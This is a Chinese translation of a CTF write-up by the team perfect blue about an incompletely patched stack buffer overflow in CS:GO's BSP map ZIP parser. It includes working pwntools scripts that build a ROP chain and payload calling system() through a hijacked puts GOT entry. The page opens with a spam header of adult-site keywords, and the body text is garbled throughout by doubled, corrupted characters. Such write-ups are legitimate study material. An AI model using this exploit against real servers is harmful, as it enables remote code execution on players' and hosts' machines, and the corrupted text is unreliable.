压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

從CTF題目中發(fā)現(xiàn)的CS:GO RCE 0day漏洞

前言

P90_Rush_B這道題來(lái)自Real World CTF 資格賽 2018,我們以perfect blue的隊(duì)伍名參加了這次比賽。

@j0nathanj@VoidMercy_pb.解出了這道題目。

不幸的是,我們沒有在比賽期間解出這道題目,但我們?cè)诮酉聛?lái)的兩天內(nèi)再接再厲,最后成功的exploit!:)

我們的解法包含一個(gè)0 day,前幾天也剛剛被Eat Sleep Pwn Repeat隊(duì)伍的@_niklasb大佬發(fā)現(xiàn),且在最新的更新中已被修復(fù)。

我們決定盡可能詳細(xì)的編寫這篇文章,以展示我們?nèi)康墓ぷ鬟^(guò)程,包括從發(fā)現(xiàn)bug,到成功exploit,以及我們所遇到的一些問(wèn)題。

The Challenge

題目的描述 / 自述文件表明我們必須通過(guò)某種方式利用CS:GO處理地圖的機(jī)制以實(shí)現(xiàn)代碼執(zhí)行。

觀察

在閱讀了自述文件和挑戰(zhàn)描述之后,我們立即想到了一個(gè)最近報(bào)告給HackerOne的 CS:GO漏洞。

這個(gè)漏洞是這道題目的捷徑。它正是我們需要的那一類漏洞——一個(gè)BSP (地圖) 解析器的漏洞!

不巧的是,在第一份報(bào)告之后,Valve已經(jīng)修復(fù)了這個(gè)漏洞(還是說(shuō)?哼哼……),我們決定以這個(gè)漏洞為基礎(chǔ),并在這個(gè)已修復(fù)漏洞的附近尋找新的漏洞。

解決這道題很重要的一點(diǎn)是要了解我們正在對(duì)付一個(gè)什么樣的結(jié)構(gòu)體/類,我們借助這個(gè)頁(yè)面以及部分2007年的被泄露的Source Engine的源碼來(lái)推斷出其結(jié)構(gòu)體。

與此漏洞相關(guān)的結(jié)構(gòu)體是Zip_FileHeaderZIP_EndOfCentralDirRecord。貼上附件structs.c,里面包括了它們的完整的定義。

struct ZIP_FileHeader
{

  unsigned int  signature; //  4 bytes PK12 
  ...
  ...
  unsigned short  fileNameLength; // file name length 2 bytes 
  ...
  ...
  // The filename comes right after! (variable size) 
};
struct ZIP_EndOfCentralDirRecord
{

  unsigned int  signature; // 4 bytes PK56
  ...
  ...
  unsigned short  nCentralDirectoryEntries_Total; // 2 bytes - A.K.A numFilesInZip
  ...
  ...

};

“被修復(fù)”的bug

正如發(fā)現(xiàn)者所報(bào)告的那樣,舊的bug就在這個(gè)函數(shù)中CZipPackFile::Prepare

t01bd869c96d375ed8d

(此圖片來(lái)自于最初的bug發(fā)現(xiàn)者)

在上圖中,函數(shù)Get()調(diào)用memcpy()并將文件名(嵌入在地圖文件本身中)復(fù)制到變量tmpString中。
這個(gè)地方?jīng)]有邊界檢查,因?yàn)?code>zipFileHeader.fileNameLength和filename是嵌入在BSP文件本身的,所以會(huì)導(dǎo)致一個(gè)經(jīng)典的基于棧的緩沖區(qū)溢出。

我們嘗試運(yùn)行由bug發(fā)現(xiàn)者提供的PoC地圖,但由于斷言機(jī)制崩潰了。

尋找新bug——“源代碼”回顧

在閱讀完2007年的這份被泄露的Source Engine源碼后,我們知道每個(gè)BSP都會(huì)包含有一些ZIP文件,包含其文件名以及文件名長(zhǎng)度。

還有一個(gè)EndOfCentralDirectoryZIP文件,表明我們已到達(dá)BSP文件的末尾(稍后會(huì)用到)。

普通ZIP文件具有簽名PK12EndOfCentralDirectoryZIP具有簽名PK56

因?yàn)閾?jù)說(shuō)原來(lái)的漏洞已經(jīng)被Valve修復(fù),我們錯(cuò)誤地認(rèn)為補(bǔ)丁只是對(duì)Get()的邊界檢查,我們依賴于這一份來(lái)自2007年的泄露源碼——我們都沒有使用平常的工具,我們也沒有IDA或者其他的反編譯器,所以我們決定使用這份泄露的源碼。

稍微閱讀了源代碼后,我們注意到另一個(gè)調(diào)用Get()函數(shù)的地方,并且使用的是另一個(gè)filename!

這段看似有bug的代碼也與前一代碼在相同的函數(shù)里CZipPackFile::Prepare

bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
    ZIP_FileHeader zipFileHeader;
    char filename[MAX_PATH];
    // Check for a preload section, expected to be the first file in the zip
    zipDirBuff.GetObjects( &zipFileHeader );
    zipDirBuff.Get( filename, zipFileHeader.fileNameLength );
    filename[zipFileHeader.fileNameLength] = '';
...
...
}

如注釋中所示(注釋存在于實(shí)際泄漏的文件中),Get()函數(shù)此時(shí)復(fù)制ZIP中的“第一個(gè)文件”。

我們?cè)噲D破壞ZIP中的第一個(gè)文件名,也試圖破壞文件大小,但沒有任何結(jié)果,我們?cè)谶@浪費(fèi)了相當(dāng)多的時(shí)間。

找到bug——逆向工程

當(dāng)我們回到家,用回自己實(shí)際的生產(chǎn)環(huán)境,我們決定嘗試對(duì)這個(gè)本應(yīng)被Valve針對(duì)報(bào)告進(jìn)行修復(fù)的函數(shù)進(jìn)行逆向。

為了找出錯(cuò)誤的代碼到底在哪個(gè)模塊,我們決定調(diào)試由于斷言而崩潰的PoC。最終我們發(fā)現(xiàn)它在dedicated.so里。

為了在IDA中找到這個(gè)“老舊的”易受攻擊的函數(shù),我們打開了dedicated.so
在相同的函數(shù)中搜索以警告信息出現(xiàn)在泄露代碼中的字符串。

在逆向完新的“已修復(fù)的”函數(shù)后,我們注意到有許多與泄露代碼相同的地方。但當(dāng)我們找到我們認(rèn)為易受攻擊的代碼片段(我們找到的get()函數(shù))的時(shí)候,我們注意到zipFileHeader.fileNameLength有邊界檢查:

這時(shí)候,我們知道我們認(rèn)為的漏洞實(shí)際上已經(jīng)修復(fù)了。所以,我們繼續(xù)逆向,并找到了報(bào)告為bug的代碼片段。

多虧了我們的變量重命名,我們立刻發(fā)現(xiàn)有些東西行不通。

如在第一個(gè)代碼片段(稱為“已修復(fù)片段”)中所見,當(dāng)fileNameLength <= 258時(shí),或者是fileNameLength < max_fileNameLength時(shí),max_fileNameLength被更新為fileNameLength(從BSP中提取)。

在第一次Get()調(diào)用中,修復(fù)程序可防止溢出。但是,如果仔細(xì)觀察,第二次調(diào)用Get()始終以fileNameLength用作長(zhǎng)度——即使fileNameLength> max_fileNameLength

變量tmpString的長(zhǎng)度是260字節(jié),所以如果我們可以讓第二次Get()在調(diào)用memcpy()時(shí)超過(guò)260字節(jié)——那么我們可以觸發(fā)基于棧的緩沖區(qū)溢出!

Bypass所有檢查

所以,現(xiàn)在我們已經(jīng)發(fā)現(xiàn)了漏洞,我們必須觸發(fā)它以確認(rèn)它是否真的存在!

我們花了相當(dāng)多的時(shí)間試圖觸發(fā)漏洞 – 我們將BSP中的第二個(gè)ZIP文件(我們使用標(biāo)頭PK12識(shí)別它的位置)中的 fileNameLength更改為更大的東西,并且還將fileName變得更大,但我們注意到一些矛盾點(diǎn)。

我們注意到在超過(guò)一定大小之后,該函數(shù)在開始時(shí)就會(huì)失敗,它在BSP上有一些驗(yàn)證檢查。

Prepare()的開頭,有以下函數(shù):

bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
...
  // Find and read the central header directory from its expected position at end of the file
  bool bCentralDirRecord = false;
  int64 offset = fileLen - sizeof( ZIP_EndOfCentralDirRecord );

  // scan entire file from expected location for central dir
  for ( ; offset >= 0; offset-- )
  {
    ReadFromPack( -1, (void*)&rec, -1, sizeof( rec ), offset );
    m_swap.SwapFieldsToTargetEndian( &rec );
    if ( rec.signature == PKID( 5, 6 ) )
    {
      bCentralDirRecord = true;
      break;
    }
  }


  Assert( bCentralDirRecord );
  if ( !bCentralDirRecord )
  {
    // no zip directory, bad zip
    return false;
  }

看起來(lái)很混亂?其實(shí)并不!

實(shí)際上這個(gè)函數(shù)只是在進(jìn)行一個(gè)從fileLensizeof(ZIP_EndOfCentralDirOrder)的迭代,然后再回到文件開頭,搜尋與ZIP_EndOfCentralDirOrder頭部相匹配的4個(gè)字節(jié)(也就是PK56的值)

經(jīng)過(guò)一些調(diào)試之后,我們注意到了無(wú)論我們把文件擴(kuò)充到多大,fileLen卻始終不會(huì)變!這意味著它是以某種方式靜態(tài)保存的!

為了驗(yàn)證我們的理論,我們?cè)贖xD里搜索文件長(zhǎng)度,也確實(shí)找到了它!:)

為了繞過(guò)上面的循環(huán),我們必須賦予fileLen一個(gè)更大的值,因?yàn)?code>ZIP_EndOfCentralDirOrder是文件中的最后一個(gè)結(jié)構(gòu)體,如果fileLen過(guò)小,fileLensizeof(ZIP_EndOf_CentralDirRecord)的迭代會(huì)在PK56頭之前開始,之后會(huì)一路回到文件的開頭——我們也就沒辦法bypass檢查了!

所以為了實(shí)現(xiàn)bypass,我們?cè)龃罅?code>fileLen并在文件末尾使用0填充,這樣我們就總能保證繞過(guò)這個(gè)檢查了!

(我們可以單純的偽造PK56頭,但我們想知道導(dǎo)致驗(yàn)證失敗的根本原因是什么)

觸發(fā)漏洞 – 0x41414141 in ?? ()

現(xiàn)在我們已經(jīng)通過(guò)了PK56頭驗(yàn)證,我們可以嘗試用tmpString大字符串來(lái)造成溢出!

一開始,我們?cè)噲D填充許多的A來(lái)控制EIP,但我們注意到棧里有許多元數(shù)據(jù)仍然在被函數(shù)使用……并把它們覆蓋掉了。我們還注意到棧里的元數(shù)據(jù)是這樣訪問(wèn)的(這是二進(jìn)制文件中的一個(gè)實(shí)際示例):

(注意,對(duì)棧地址的訪問(wèn)有時(shí)也用在指令的目的地址)

所以我們決定用0覆蓋掉除了返回地址意外的所有東西,這樣我們就不會(huì)因?yàn)閷懭?讀取無(wú)效地址而崩潰!

但事實(shí)證明,即使溢出0也是不夠的,程序仍然會(huì)崩潰:( …

這一次,我們注意到在Get()函數(shù)溢出之后,即使我們用0覆蓋數(shù)據(jù),我們也會(huì)崩潰,因?yàn)檫@個(gè)函數(shù)在循環(huán)中,遍歷ZIP文件夾中的所有文件。

還記得我們指出的那個(gè)必要的結(jié)構(gòu)體嗎?事實(shí)證明,ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total存放著zip中的文件數(shù)量!看泄露的源碼就知道了:

...
int numFilesInZip = rec.nCentralDirectoryEntries_Total;

for ( int i = firstFileIdx; i < numFilesInZip; ++i )
{
  ...
  // The Get() call is inside this loop.
  ...
}

ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total改成2,獲得第二個(gè)ZIP以實(shí)現(xiàn)溢出,會(huì)立即退出循環(huán)并導(dǎo)致函數(shù)結(jié)束,也就是說(shuō):我們可以控制EIP了!

建立ROP鏈

主二進(jìn)制文件(srcds)是一個(gè)32位應(yīng)用程序,它是在沒有PIE、沒有棧cookie的情況下編譯的,并且沒有啟用Full Relro。

根據(jù)這些情況,我們建立了一條任意添加的ROP鏈,并把system的偏移量添加到putsGOT的條目中,然后調(diào)用puts("/usr/bin/gnome-calculator"),最后成功彈出了計(jì)算器 ??

下面的代碼生成了一個(gè)ROP鏈的payload,我們可以在返回地址的偏移量中插入以調(diào)用system("/usr/bin/gnome-calculator")

from pwn import *

add_what_where = 0x080488fe   # add dword ptr [eax + 0x5b], ebx ; pop ebp ; ret
pop_eax_ebx_ebp = 0x080488ff  # pop eax ; pop ebx ; pop ebp ; ret

putsgot = 0x8049CF8
putsoffset = 0x5fca0
systemoffset = 0x3ada0
putsplt = 0x080485E0

bss = 0x8049d68

command = "/usr/bin/gnome-calculator"

rop = []

for i in range(0, len(command), 4):
  current = int(command[i:][:4][::-1].encode("hex"), 16)
  rop += [pop_eax_ebx_ebp, bss + i - 0x5b, current, bss, add_what_where, bss]

rop += [pop_eax_ebx_ebp, putsgot - 0x5b, 0x100000000 - (putsoffset - systemoffset), bss, add_what_where, bss]
rop += [putsplt, bss, bss, bss]

payload = ""
for i in rop:
  payload += p32(i)


with open('rop', 'wb') as f:
  f.write(payload)

print '[+] Generated ROP.n'

完成 exploit

為了完成exploit,我們需要使用許多0來(lái)覆蓋整個(gè)緩沖區(qū)直到返回地址為止,然后插入我們的ROP鏈payload!

from pwn import *

rop = ''

with open('rop', 'r') as f:
  rop = f.read()

payload  = p8(0) * 0x1c0 
payload += rop

with open('payload', 'w') as f:
  f.write(payload)

print '[+] Full payload generated.n'

插入我們的payload后,手動(dòng)修改fileLenfileNameLength,就可以執(zhí)行代碼了!最終的bsp在這

(圖片不動(dòng)請(qǐng)點(diǎn)我

結(jié)論和經(jīng)驗(yàn)

  • 我們從這個(gè)挑戰(zhàn)中吸取了一些教訓(xùn),我們覺得最主要的是不應(yīng)該依賴于舊的/泄漏的代碼。我們本可以通過(guò)在IDA中打開二進(jìn)制文件來(lái)節(jié)省大量時(shí)間,但即時(shí)當(dāng)我們意識(shí)到應(yīng)該這么做時(shí),也沒有立即動(dòng)手。
  • 有些人可能已經(jīng)注意到了,對(duì)于沒注意到的人,我跟你們港:Valve的第一個(gè)“補(bǔ)丁”實(shí)際上沒有修復(fù)報(bào)告中提到的的漏洞!它確實(shí)修復(fù)了第一次出現(xiàn)的Get()調(diào)用,但沒有修復(fù)第二次調(diào)用 – 報(bào)告說(shuō)的實(shí)際就是這個(gè)!

這讓我們學(xué)到了另一個(gè)重要的經(jīng)驗(yàn)——永遠(yuǎn)不要相信“修復(fù)補(bǔ)丁”。總是去驗(yàn)證它實(shí)際上是否修復(fù)了bug!

我們?cè)谕瓿蛇@一挑戰(zhàn)時(shí)獲得了很多樂趣,并且CTF挑戰(zhàn)中找到了0 day!

期待Real World CTF 總決賽 – 2018!

原文地址:https://blog.perfect.blue/P90_Rush_B

上一篇:肚腦蟲組織(APT-C-35)移動(dòng)端攻擊活動(dòng)揭露

下一篇:GeekPwn全球首創(chuàng)CAAD CTF 在DEF CON上演“矛盾”之戰(zhàn)